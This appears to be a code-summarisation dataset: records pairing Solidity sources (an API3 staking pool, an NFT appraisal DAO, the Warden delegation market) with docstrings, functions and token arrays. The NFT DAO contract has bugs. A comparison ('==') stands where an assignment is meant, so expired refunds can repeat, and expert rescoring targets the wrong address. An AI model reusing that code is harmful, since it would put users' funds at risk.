uint256) internal vestedRewardsAtEpoch; /// @dev Mapping of epochs to total unpaid rewards that will be vested /// (e.g., inflationary). Used to carry over unpaid rewards from previous /// epochs. mapping(uint256 => uint256) internal unpaidVestedRewardsAtEpoch; /// @dev Mapping of epochs to total rewards that will be paid out instantly /// (e.g., revenue distribution) mapping(uint256 => uint256) internal instantRewardsAtEpoch; /// @dev Mapping of epochs to total unpaid rewards that will be paid out /// instantly (e.g., revenue distribution). Used to carry over unpaid /// rewards from previous epochs. mapping(uint256 => uint256) internal unpaidInstantRewardsAtEpoch; /// Number of epochs the users have to wait to have rewards vested. The /// initial value is 1 year (52 epochs), yet this parameter is governable /// by the API3 DAO. uint256 public rewardVestingPeriod = 52; // ~~~~~~Staking~~~~~~ // ~~~~~~Vesting~~~~~~ /// @dev Number of vestings (all, not only active) uint256 internal noVestings; /// @dev Mapping of vesting IDs to vesting records mapping(bytes32 => Vesting) internal vestings; /// @dev Mapping of user addresses to their unvested funds. A user cannot /// withdraw an amount that will result in their balance go below their /// unvested funds. mapping(address => uint256) internal unvestedFunds; // ~~~~~~Vesting~~~~~~ // ~~~~~~Claims~~~~~~ /// @dev Number of claims (all, not only active) uint256 internal noClaims; /// @dev Mapping of claim IDs to claim records mapping(bytes32 => Claim) internal claims; /// @dev An array containing the IDs of active claims. Used to create IOUs /// while pooling/unpooling. bytes32[] internal activeClaims; /// Total amount claimed by the active claims. Used to determine if the /// pool has enough funds for a new claim. uint256 public totalActiveClaimsAmount; // ~~~~~~Claims~~~~~~ // ~~~~~~IOUs~~~~~~ /// @dev Number of IOUs (all, not only active) uint256 internal noIous; /// @dev Mapping of IOU IDs to IOU records mapping(bytes32 => Iou) internal ious; /// @dev Total amount of ghost shares caused by IOUs. Ghost shares can be /// removed upon IOU removal, and thus should be ignored while considering /// how much collateral the pool can provide. uint256 public totalGhostShares = 1; // ~~~~~~IOUs~~~~~~ /// @param api3TokenAddress Address of the API3 token contract /// @param _epochPeriodInSeconds Length of epochs used to quantize time /// @param _firstEpochStartTimestamp Starting timestamp of epoch #1 constructor( address api3TokenAddress, uint256 _epochPeriodInSeconds, uint256 _firstEpochStartTimestamp ) public { require(_epochPeriodInSeconds != 0, "Epoch period cannot be 0"); epochPeriodInSeconds = _epochPeriodInSeconds; firstEpochStartTimestamp = _firstEpochStartTimestamp; api3Token = IApi3Token(api3TokenAddress); } /// @notice Updates the inflation manager contract to change the schedule /// of inflationary rewards /// @dev Can only be called by the owner (i.e., the API3 DAO) /// @param inflationManagerAddress Address of the updated inflation manager /// contract function updateInflationManager(address inflationManagerAddress) external override onlyOwner { inflationManager = IInflationManager(inflationManagerAddress); emit InflationManagerUpdated(inflationManagerAddress); } /// @notice Updates the claim manager address that is authorized to create, /// accept and deny insurance claims /// @dev Can only be called by the owner (i.e., the API3 DAO) /// @param claimsManagerAddress Address of the updated claims manager function updateClaimsManager(address claimsManagerAddress) external override onlyOwner { claimsManager = claimsManagerAddress; emit ClaimsManagerUpdated(claimsManager); } /// @notice Updates when the vested rewards (e.g., inflationary) are /// received /// @dev Can only be called by the owner (i.e., the API3 DAO) /// @param _rewardVestingPeriod Updated vesting period in epochs function updateRewardVestingPeriod(uint256 _rewardVestingPeriod) external override onlyOwner { rewardVestingPeriod = _rewardVestingPeriod; emit RewardVestingPeriodUpdated(rewardVestingPeriod); } /// @notice Updates how frequently unpooling requests can be made /// @dev Can only be called by the owner (i.e., the API3 DAO) /// @param _unpoolRequestCooldown Updated unpooling request cooldown in /// epochs function updateUnpoolRequestCooldown(uint256 _unpoolRequestCooldown) external override onlyOwner { unpoolRequestCooldown = _unpoolRequestCooldown; emit UnpoolRequestCooldownUpdated(unpoolRequestCooldown); } /// @notice Updates how long the user has to wait after making an unpool /// request to be able to unpool /// @dev Can only be called by the owner (i.e., the API3 DAO) /// @param _unpoolWaitingPeriod Updated unpool waiting period in epochs function updateUnpoolWaitingPeriod(uint256 _unpoolWaitingPeriod) external override onlyOwner { unpoolWaitingPeriod = _unpoolWaitingPeriod; emit UnpoolWaitingPeriodUpdated(unpoolWaitingPeriod); } }
@notice Updates the inflation manager contract to change the schedule of inflationary rewards @dev Can only be called by the owner (i.e., the API3 DAO) @param inflationManagerAddress Address of the updated inflation manager contract
function updateInflationManager(address inflationManagerAddress) external override onlyOwner { inflationManager = IInflationManager(inflationManagerAddress); emit InflationManagerUpdated(inflationManagerAddress); }
1,780,894
[ 1, 5121, 326, 13947, 367, 3301, 6835, 358, 2549, 326, 4788, 434, 13947, 367, 814, 283, 6397, 225, 4480, 1338, 506, 2566, 635, 326, 3410, 261, 77, 18, 73, 12990, 326, 1491, 23, 463, 20463, 13, 225, 13947, 367, 1318, 1887, 5267, 434, 326, 3526, 13947, 367, 3301, 6835, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 27040, 367, 1318, 12, 2867, 13947, 367, 1318, 1887, 13, 203, 3639, 3903, 203, 3639, 3849, 203, 3639, 1338, 5541, 203, 565, 288, 203, 3639, 13947, 367, 1318, 273, 467, 27040, 367, 1318, 12, 267, 2242, 367, 1318, 1887, 1769, 203, 3639, 3626, 657, 2242, 367, 1318, 7381, 12, 267, 2242, 367, 1318, 1887, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@chainlink/contracts/src/v0.8/ChainlinkClient.sol"; import "@chainlink/contracts/src/v0.8/ConfirmedOwner.sol"; contract DecentralizedNFTDao is ChainlinkClient, ConfirmedOwner { using Chainlink for Chainlink.Request; constructor(address oracle, string memory jobid) ConfirmedOwner(msg.sender) { _oracle = oracle; _oracleJobId = jobid; setPublicChainlinkToken(); } uint256 constant private ORACLE_PAYMENT = 1 * LINK_DIVISIBILITY; uint256 constant public MIN_EVAL_PAYMENT = 1*(10**15); enum ExpertEvaluationStatus{ None,Pending, Resolved, Failed} enum NFTAppraisalStatus{ Open, Resolved, Failed } struct Vote { address voter; uint256 appraised_value_usd; } struct Expert { uint256 score; ExpertEvaluationStatus status; bool initialized; uint256 last_time_scored; } struct NFTApprisalRequest { uint256 appraisal_id; uint256 nft_id; address nft_contract; NFTAppraisalStatus status; uint256 request_time; uint8 minVoters; uint256 minExpertiseLevel; uint256 paymentEth; string nftMarketplace; address creator; } mapping(address => Expert) public experts; mapping(address => uint256[]) public user_appraisals; mapping(uint256 => mapping(address=>bool)) public appraisal_voters; mapping(uint256 => Vote[]) public appraisal_votes; mapping(bytes32 => address) public req_id_to_exp; NFTApprisalRequest[] appraisals; address[] expertsArr; //for iteration //chainlink connection address public _oracle; string public _oracleJobId; //external functions //------------------------------ function SubmitNFTForAppraisal( address NFTContract, uint256 NFTID, string memory nftMarketplace, uint8 minVoters, uint256 minExpertiseLevel) public payable { //string memory key = _getNFTKey(NFTContract, NFTID); //equire(appraisals[key].NFTAppraisalStatus!=NFTAppraisalStatus.Pending,"This NFT is currently being appraised and can not be resubmitted"); require(msg.value>=MIN_EVAL_PAYMENT,"Appraisal request does not include the minimal Eth payment required"); appraisals.push(NFTApprisalRequest(appraisals.length, NFTID, NFTContract, NFTAppraisalStatus.Open, block.timestamp, minVoters, minExpertiseLevel, msg.value, nftMarketplace, msg.sender)); user_appraisals[msg.sender].push(appraisals.length - 1); } function getExpertStatus(address expert) public view returns (ExpertEvaluationStatus) { return (experts[expert].initialized)?experts[expert].status: ExpertEvaluationStatus.None; } function getExpertSCore(address expert) public view returns (uint256) { return (experts[expert].initialized)?experts[expert].score: 0; } function fulfillExpertiseScore(bytes32 _requestId, uint256 score) public recordChainlinkFulfillment(_requestId) { //emit RequestExpertiseScoreFulfilled(_requestId, _nftvalue); experts[req_id_to_exp[_requestId]].score = score; experts[req_id_to_exp[_requestId]].status = ExpertEvaluationStatus.Resolved; experts[req_id_to_exp[_requestId]].last_time_scored = block.timestamp; } function getAppraisalStatus(uint256 appraisal_id) public view returns (NFTAppraisalStatus) { require(appraisal_id<appraisals.length,"apriasal ID does not exist"); return appraisals[appraisal_id].status; } function getUserAppraisalRequests() public view returns(NFTApprisalRequest[] memory) { NFTApprisalRequest[] memory filtered; if (user_appraisals[msg.sender].length!=0) { filtered =new NFTApprisalRequest[](user_appraisals[msg.sender].length); for (uint256 i=0; i< user_appraisals[msg.sender].length;i++) { filtered[i]=appraisals[user_appraisals[msg.sender][i]]; } } return filtered; } function hasExpiredAppraisals() public view returns (bool) { for (uint256 i=0;i<appraisals.length;i++) { if (((block.timestamp - appraisals[i].request_time) > (60*60*24*30)) && appraisals[i].status==NFTAppraisalStatus.Open) { return true; } } return false; } function expireAppraisals() public { //expire appraisal requests after 30 days if not enough votes for (uint256 i=0;i<appraisals.length;i++) { if (((block.timestamp - appraisals[i].request_time) > (60*60*24*30)) && appraisals[i].status==NFTAppraisalStatus.Open) { appraisals[i].status==NFTAppraisalStatus.Failed; //reimburse the appraisal creator with the eth they locked in the contract. (bool sent, bytes memory data) = appraisals[i].creator.call{value: appraisals[i].paymentEth}(""); require(sent, "Failed to send Ether"); } } } function updateExpertScores() public { //update expert score every 60 days for (uint256 i=0;i<expertsArr.length;i++) { if ( (experts[expertsArr[i]].initialized) && ((block.timestamp - experts[expertsArr[i]].last_time_scored) > (60*60*24*60))) { bytes32 reqId = requestExpertiseScore(msg.sender); req_id_to_exp[reqId]=msg.sender; } } } //get expert relevant open appraisals function getAppraisalsForExpert() public view onlyExpert returns (NFTApprisalRequest[] memory) { Expert memory expData = experts[msg.sender]; require(expData.initialized!=false,"address not registered as expert"); require(expData.status==ExpertEvaluationStatus.Resolved,"Expert score not finalized yet"); NFTApprisalRequest[] memory filtered; uint256 count=0; for (uint256 i=0;i<appraisals.length;i++) { if (appraisals[i].minExpertiseLevel<=expData.score && appraisals[i].status == NFTAppraisalStatus.Open) { count++; } } if (count>0) { filtered = new NFTApprisalRequest[](count); count=0; for (uint256 i=0;i<appraisals.length;i++) { if (appraisals[i].minExpertiseLevel<=expData.score && appraisals[i].status == NFTAppraisalStatus.Open) { filtered[count]=appraisals[i]; count++; } } } return filtered; } function getExpertVote(uint256 appraisal_id,address expert_address) public view returns (uint256) { require(appraisal_id<appraisals.length,"apriasal ID does not exist"); if (appraisal_voters[appraisal_id][expert_address]==false) return 0; uint256 value=0; for (uint i=0; i<appraisal_votes[appraisal_id].length;i++) { if (appraisal_votes[appraisal_id][i].voter==expert_address) { value= appraisal_votes[appraisal_id][i].appraised_value_usd; break; } } return value; } //expert Vote function SubmitAppraisalVote(uint256 appraisal_id,uint256 USDValue) public onlyExpert { require(appraisal_id<appraisals.length,"apriasal ID does not exist"); NFTApprisalRequest memory appr = appraisals[appraisal_id]; Expert memory expr = experts[msg.sender]; require((appr.status==NFTAppraisalStatus.Open) && (appr.minExpertiseLevel<expr.score),"appraisal not pending or expert level not enough to vote"); require(appraisal_voters[appraisal_id][msg.sender]==false,"already voted"); appraisal_voters[appraisal_id][msg.sender]=true; appraisal_votes[appraisal_id].push(Vote(msg.sender,USDValue)); //handle resolution if (appraisal_votes[appraisal_id].length>=appraisals[appraisal_id].minVoters) { appraisals[appraisal_id].status=NFTAppraisalStatus.Resolved; //distribute payment between voters uint256 perVoter = appraisals[appraisal_id].paymentEth/appraisal_votes[appraisal_id].length; for(uint256 i=0;i<appraisal_votes[appraisal_id].length;i++){ (bool sent, bytes memory data) =appraisal_votes[appraisal_id][i].voter.call{value: perVoter}(""); } } } //join Dao function JoinDao() public { require(experts[msg.sender].initialized==false || experts[msg.sender].status==ExpertEvaluationStatus.Pending,"Expert is already a member"); experts[msg.sender]=Expert(0,ExpertEvaluationStatus.Pending,true,0); bytes32 reqId = requestExpertiseScore(msg.sender); req_id_to_exp[reqId]=msg.sender; expertsArr.push(msg.sender); //fill this array only with scored experts } function getAppraisalVotes(uint256 appraisal_id) public view onlyAppraisalCreator(appraisal_id) returns (Vote[] memory) { require(appraisal_id<appraisals.length,"apriasal ID does not exist"); return appraisal_votes[appraisal_id]; } //internal functions //------------------------------ function _handleAppraisalResolution(uint256 appraisal_id) internal { NFTApprisalRequest memory appr = appraisals[appraisal_id]; if (appraisal_votes[appraisal_id].length>=appr.minVoters ) { appr.status=NFTAppraisalStatus.Resolved; _handleVotePayout(appr); } } function _handleVotePayout(NFTApprisalRequest memory appr) internal { //TO DO: dittribute payout between voters } //function _addressToString(address addr) internal pure returns (string memory) //{ // return string(abi.encodePacked(addr)); //} function requestExpertiseScore(address expert) internal returns (bytes32) { Chainlink.Request memory req = buildChainlinkRequest(stringToBytes32(_oracleJobId), address(this), this.fulfillExpertiseScore.selector); req.add("expertAddress", toAsciiString(expert)); return sendChainlinkRequestTo(_oracle, req, ORACLE_PAYMENT); //return "fff"; } function stringToBytes32(string memory source) private pure returns (bytes32 result) { bytes memory tempEmptyStringTest = bytes(source); if (tempEmptyStringTest.length == 0) { return 0x0; } assembly { // solhint-disable-line no-inline-assembly result := mload(add(source, 32)) } } modifier onlyAppraisalCreator(uint256 appraisal_id) { bool isCreator=false; for (uint256 i=0;i<user_appraisals[msg.sender].length;i++) { if (user_appraisals[msg.sender][i]==appraisal_id) { isCreator=true; break; } } require(isCreator == true,"only the creator of an appraisal can call this function"); _; } modifier onlyExpert() { require(experts[msg.sender].initialized == true && experts[msg.sender].status==ExpertEvaluationStatus.Resolved,"Only approved experts can call this function"); _; } function toAsciiString(address x) public pure returns (string memory) { bytes memory s = new bytes(40); for (uint i = 0; i < 20; i++) { bytes1 b = bytes1(uint8(uint(uint160(x)) / (2**(8*(19 - i))))); bytes1 hi = bytes1(uint8(b) / 16); bytes1 lo = bytes1(uint8(b) - 16 * uint8(hi)); s[2*i] = char(hi); s[2*i+1] = char(lo); } return string(abi.encodePacked("0x",s)); } function char(bytes1 b) public pure returns (bytes1 c) { if (uint8(b) < 10) return bytes1(uint8(b) + 0x30); else return bytes1(uint8(b) + 0x57); } }
get expert relevant open appraisals
function getAppraisalsForExpert() public view onlyExpert returns (NFTApprisalRequest[] memory) { Expert memory expData = experts[msg.sender]; require(expData.initialized!=false,"address not registered as expert"); require(expData.status==ExpertEvaluationStatus.Resolved,"Expert score not finalized yet"); NFTApprisalRequest[] memory filtered; uint256 count=0; for (uint256 i=0;i<appraisals.length;i++) { if (appraisals[i].minExpertiseLevel<=expData.score && appraisals[i].status == NFTAppraisalStatus.Open) { count++; } } if (count>0) { filtered = new NFTApprisalRequest[](count); count=0; for (uint256 i=0;i<appraisals.length;i++) { if (appraisals[i].minExpertiseLevel<=expData.score && appraisals[i].status == NFTAppraisalStatus.Open) { filtered[count]=appraisals[i]; count++; } } } return filtered; }
1,042,960
[ 1, 588, 431, 672, 9368, 1696, 595, 354, 291, 1031, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 13697, 354, 291, 1031, 1290, 424, 672, 1435, 1071, 1476, 1338, 424, 672, 1135, 261, 50, 4464, 1294, 683, 291, 287, 691, 8526, 3778, 13, 203, 565, 288, 203, 540, 203, 3639, 1312, 672, 3778, 1329, 751, 273, 431, 672, 87, 63, 3576, 18, 15330, 15533, 203, 3639, 2583, 12, 2749, 751, 18, 13227, 5, 33, 5743, 10837, 2867, 486, 4104, 487, 431, 672, 8863, 203, 3639, 2583, 12, 2749, 751, 18, 2327, 631, 424, 672, 13468, 1482, 18, 12793, 10837, 424, 672, 4462, 486, 727, 1235, 4671, 8863, 203, 3639, 423, 4464, 1294, 683, 291, 287, 691, 8526, 3778, 5105, 31, 203, 3639, 2254, 5034, 1056, 33, 20, 31, 203, 3639, 364, 261, 11890, 5034, 277, 33, 20, 31, 77, 32, 2910, 354, 291, 1031, 18, 2469, 31, 77, 27245, 288, 203, 5411, 309, 261, 2910, 354, 291, 1031, 63, 77, 8009, 1154, 424, 672, 784, 2355, 32, 33, 2749, 751, 18, 6355, 597, 595, 354, 291, 1031, 63, 77, 8009, 2327, 422, 423, 4464, 3371, 354, 291, 287, 1482, 18, 3678, 13, 288, 203, 10792, 1056, 9904, 31, 203, 5411, 289, 203, 3639, 289, 203, 3639, 309, 261, 1883, 34, 20, 13, 288, 203, 5411, 5105, 225, 273, 394, 423, 4464, 1294, 683, 291, 287, 691, 8526, 12, 1883, 1769, 203, 5411, 1056, 33, 20, 31, 203, 5411, 364, 261, 11890, 5034, 277, 33, 20, 31, 77, 32, 2910, 354, 291, 1031, 18, 2469, 31, 77, 27245, 288, 203, 7734, 309, 261, 2910, 354, 291, 1031, 63, 77, 8009, 1154, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; import "./open-zeppelin/interfaces/IERC20.sol"; import "./open-zeppelin/libraries/SafeERC20.sol"; import "./open-zeppelin/utils/Ownable.sol"; import "./open-zeppelin/utils/Pausable.sol"; import "./open-zeppelin/utils/ReentrancyGuard.sol"; import "./interfaces/IVotingEscrow.sol"; import "./interfaces/IVotingEscrowDelegation.sol"; /** @title Warden contract */ /// @author Paladin /* Delegation market based on Curve VotingEscrowDelegation contract */ contract Warden is Ownable, Pausable, ReentrancyGuard { using SafeERC20 for IERC20; // Constants : uint256 public constant UNIT = 1e18; uint256 public constant MAX_PCT = 10000; uint256 public constant WEEK = 7 * 86400; // Storage : /** @notice Offer made by an user to buy a given amount of his votes user : Address of the user making the offer pricePerVote : Price per vote per second, set by the user minPerc : Minimum percent of users voting token balance to buy for a Boost (in BPS) maxPerc : Maximum percent of users total voting token balance available to delegate (in BPS) */ struct BoostOffer { // Address of the user making the offer address user; // Price per vote per second, set by the user uint256 pricePerVote; // Minimum percent of users voting token balance to buy for a Boost uint16 minPerc; //bps // Maximum percent of users total voting token balance available to delegate uint16 maxPerc; //bps } /** @notice ERC20 used to pay for DelegationBoost */ IERC20 public feeToken; /** @notice Address of the votingToken to delegate */ IVotingEscrow public votingEscrow; /** @notice Address of the Delegation Boost contract */ IVotingEscrowDelegation public delegationBoost; /** @notice ratio of fees to be set as Reserve (in BPS) */ uint256 public feeReserveRatio; //bps /** @notice Total Amount in the Reserve */ uint256 public reserveAmount; /** @notice Address allowed to withdraw from the Reserve */ address public reserveManager; /** @notice Min Percent of delegator votes to buy required to purchase a Delegation Boost (in BPS) */ uint256 public minPercRequired; //bps /** @notice Minimum delegation time, taken from veBoost contract */ uint256 public minDelegationTime = 1 weeks; /** @notice List of all current registered users and their delegation offer */ BoostOffer[] public offers; /** @notice Index of the user in the offers array */ mapping(address => uint256) public userIndex; /** @notice Amount of fees earned by users through Boost selling */ mapping(address => uint256) public earnedFees; bool private _claimBlocked; // Events : event Registred(address indexed user, uint256 price); event UpdateOffer(address indexed user, uint256 newPrice); event Quit(address indexed user); event BoostPurchase( address indexed delegator, address indexed receiver, uint256 tokenId, uint256 percent, //bps uint256 price, uint256 paidFeeAmount, uint256 expiryTime ); event Claim(address indexed user, uint256 amount); modifier onlyAllowed(){ require(msg.sender == reserveManager || msg.sender == owner(), "Warden: Not allowed"); _; } // Constructor : /** * @dev Creates the contract, set the given base parameters * @param _feeToken address of the token used to pay fees * @param _votingEscrow address of the voting token to delegate * @param _delegationBoost address of the contract handling delegation * @param _feeReserveRatio Percent of fees to be set as Reserve (bps) * @param _minPercRequired Minimum percent of user */ constructor( address _feeToken, address _votingEscrow, address _delegationBoost, uint256 _feeReserveRatio, //bps uint256 _minPercRequired //bps ) { feeToken = IERC20(_feeToken); votingEscrow = IVotingEscrow(_votingEscrow); delegationBoost = IVotingEscrowDelegation(_delegationBoost); require(_feeReserveRatio <= 5000); require(_minPercRequired > 0 && _minPercRequired <= 10000); feeReserveRatio = _feeReserveRatio; minPercRequired = _minPercRequired; // fill index 0 in the offers array // since we want to use index 0 for unregistered users offers.push(BoostOffer(address(0), 0, 0, 0)); } // Functions : function offersIndex() external view returns(uint256){ return offers.length; } /** * @notice Registers a new user wanting to sell its delegation * @dev Regsiters a new user, creates a BoostOffer with the given parameters * @param pricePerVote Price of 1 vote per second (in wei) * @param minPerc Minimum percent of users voting token balance to buy for a Boost (in BPS) * @param maxPerc Maximum percent of users total voting token balance available to delegate (in BPS) */ function register( uint256 pricePerVote, uint16 minPerc, uint16 maxPerc ) external whenNotPaused returns(bool) { address user = msg.sender; require(userIndex[user] == 0, "Warden: Already registered"); require( delegationBoost.isApprovedForAll(user, address(this)), "Warden: Not operator for caller" ); require(pricePerVote > 0, "Warden: Price cannot be 0"); require(maxPerc <= 10000, "Warden: maxPerc too high"); require(minPerc <= maxPerc, "Warden: minPerc is over maxPerc"); require(minPerc >= minPercRequired, "Warden: minPerc too low"); // Create the BoostOffer for the new user, and add it to the storage userIndex[user] = offers.length; offers.push(BoostOffer(user, pricePerVote, minPerc, maxPerc)); emit Registred(user, pricePerVote); return true; } /** * @notice Updates an user BoostOffer parameters * @dev Updates parameters for the user's BoostOffer * @param pricePerVote Price of 1 vote per second (in wei) * @param minPerc Minimum percent of users voting token balance to buy for a Boost (in BPS) * @param maxPerc Maximum percent of users total voting token balance available to delegate (in BPS) */ function updateOffer( uint256 pricePerVote, uint16 minPerc, uint16 maxPerc ) external whenNotPaused returns(bool) { // Fet the user index, and check for registration address user = msg.sender; uint256 index = userIndex[user]; require(index != 0, "Warden: Not registered"); // Fetch the BoostOffer to update BoostOffer storage offer = offers[index]; require(offer.user == msg.sender, "Warden: Not offer owner"); require(pricePerVote > 0, "Warden: Price cannot be 0"); require(maxPerc <= 10000, "Warden: maxPerc too high"); require(minPerc <= maxPerc, "Warden: minPerc is over maxPerc"); require(minPerc >= minPercRequired, "Warden: minPerc too low"); // Update the parameters offer.pricePerVote = pricePerVote; offer.minPerc = minPerc; offer.maxPerc = maxPerc; emit UpdateOffer(user, pricePerVote); return true; } /** * @notice Remove the BoostOffer of the user, and claim any remaining fees earned * @dev User's BoostOffer is removed from the listing, and any unclaimed fees is sent */ function quit() external whenNotPaused nonReentrant returns(bool) { address user = msg.sender; require(userIndex[user] != 0, "Warden: Not registered"); // Check for unclaimed fees, claim it if needed if (earnedFees[user] > 0) { _claim(user, earnedFees[user]); } // Find the BoostOffer to remove uint256 currentIndex = userIndex[user]; // If BoostOffer is not the last of the list // Replace last of the list with the one to remove if (currentIndex < offers.length) { uint256 lastIndex = offers.length - 1; address lastUser = offers[lastIndex].user; offers[currentIndex] = offers[lastIndex]; userIndex[lastUser] = currentIndex; } //Remove the last item of the list offers.pop(); userIndex[user] = 0; emit Quit(user); return true; } /** * @notice Gives an estimate of fees to pay for a given Boost Delegation * @dev Calculates the amount of fees for a Boost Delegation with the given amount (through the percent) and the duration * @param delegator Address of the delegator for the Boost * @param percent Percent of the delegator balance to delegate (in BPS) * @param duration Duration (in weeks) of the Boost to purchase */ function estimateFees( address delegator, uint256 percent, uint256 duration //in weeks ) external view returns (uint256) { require(delegator != address(0), "Warden: Zero address"); require(userIndex[delegator] != 0, "Warden: Not registered"); require( percent >= minPercRequired, "Warden: Percent under min required" ); require(percent <= MAX_PCT, "Warden: Percent over 100"); // Get the duration in seconds, and check it's more than the minimum required uint256 durationSeconds = duration * 1 weeks; require( durationSeconds >= minDelegationTime, "Warden: Duration too short" ); // Fetch the BoostOffer for the delegator BoostOffer storage offer = offers[userIndex[delegator]]; require( percent >= offer.minPerc && percent <= offer.maxPerc, "Warden: Percent out of Offer bounds" ); uint256 expiryTime = ((block.timestamp + durationSeconds) / WEEK) * WEEK; expiryTime = (expiryTime < block.timestamp + durationSeconds) ? ((block.timestamp + durationSeconds + WEEK) / WEEK) * WEEK : expiryTime; require( expiryTime <= votingEscrow.locked__end(delegator), "Warden: Lock expires before Boost" ); // Find how much of the delegator's tokens the given percent represents uint256 delegatorBalance = votingEscrow.balanceOf(delegator); uint256 toDelegateAmount = (delegatorBalance * percent) / MAX_PCT; // Get the price for the whole Amount (price fer second) uint256 priceForAmount = (toDelegateAmount * offer.pricePerVote) / UNIT; // Then multiply it by the duration (in seconds) to get the cost of the Boost return priceForAmount * durationSeconds; } /** All local variables used in the buyDelegationBoost function */ struct BuyVars { uint256 boostDuration; uint256 delegatorBalance; uint256 toDelegateAmount; uint256 realFeeAmount; uint256 expiryTime; uint256 cancelTime; uint256 boostPercent; uint256 newId; uint256 newTokenId; } /** * @notice Buy a Delegation Boost for a Delegator Offer * @dev If all parameters match the offer from the delegator, creates a Boost for the caller * @param delegator Address of the delegator for the Boost * @param receiver Address of the receiver of the Boost * @param percent Percent of the delegator balance to delegate (in BPS) * @param duration Duration (in weeks) of the Boost to purchase * @param maxFeeAmount Maximum amount of feeToken available to pay to cover the Boost Duration (in wei) * returns the id of the new veBoost */ function buyDelegationBoost( address delegator, address receiver, uint256 percent, uint256 duration, //in weeks uint256 maxFeeAmount ) external nonReentrant whenNotPaused returns(uint256) { require( delegator != address(0) && receiver != address(0), "Warden: Zero address" ); require(userIndex[delegator] != 0, "Warden: Not registered"); require(maxFeeAmount > 0, "Warden: No fees"); require( percent >= minPercRequired, "Warden: Percent under min required" ); require(percent <= MAX_PCT, "Warden: Percent over 100"); BuyVars memory vars; // Get the duration of the wanted Boost in seconds vars.boostDuration = duration * 1 weeks; require( vars.boostDuration >= minDelegationTime, "Warden: Duration too short" ); // Fetch the BoostOffer for the delegator BoostOffer storage offer = offers[userIndex[delegator]]; require( percent >= offer.minPerc && percent <= offer.maxPerc, "Warden: Percent out of Offer bounds" ); // Find how much of the delegator's tokens the given percent represents vars.delegatorBalance = votingEscrow.balanceOf(delegator); vars.toDelegateAmount = (vars.delegatorBalance * percent) / MAX_PCT; // Check if delegator can delegate the amount, without exceeding the maximum percent allowed by the delegator // 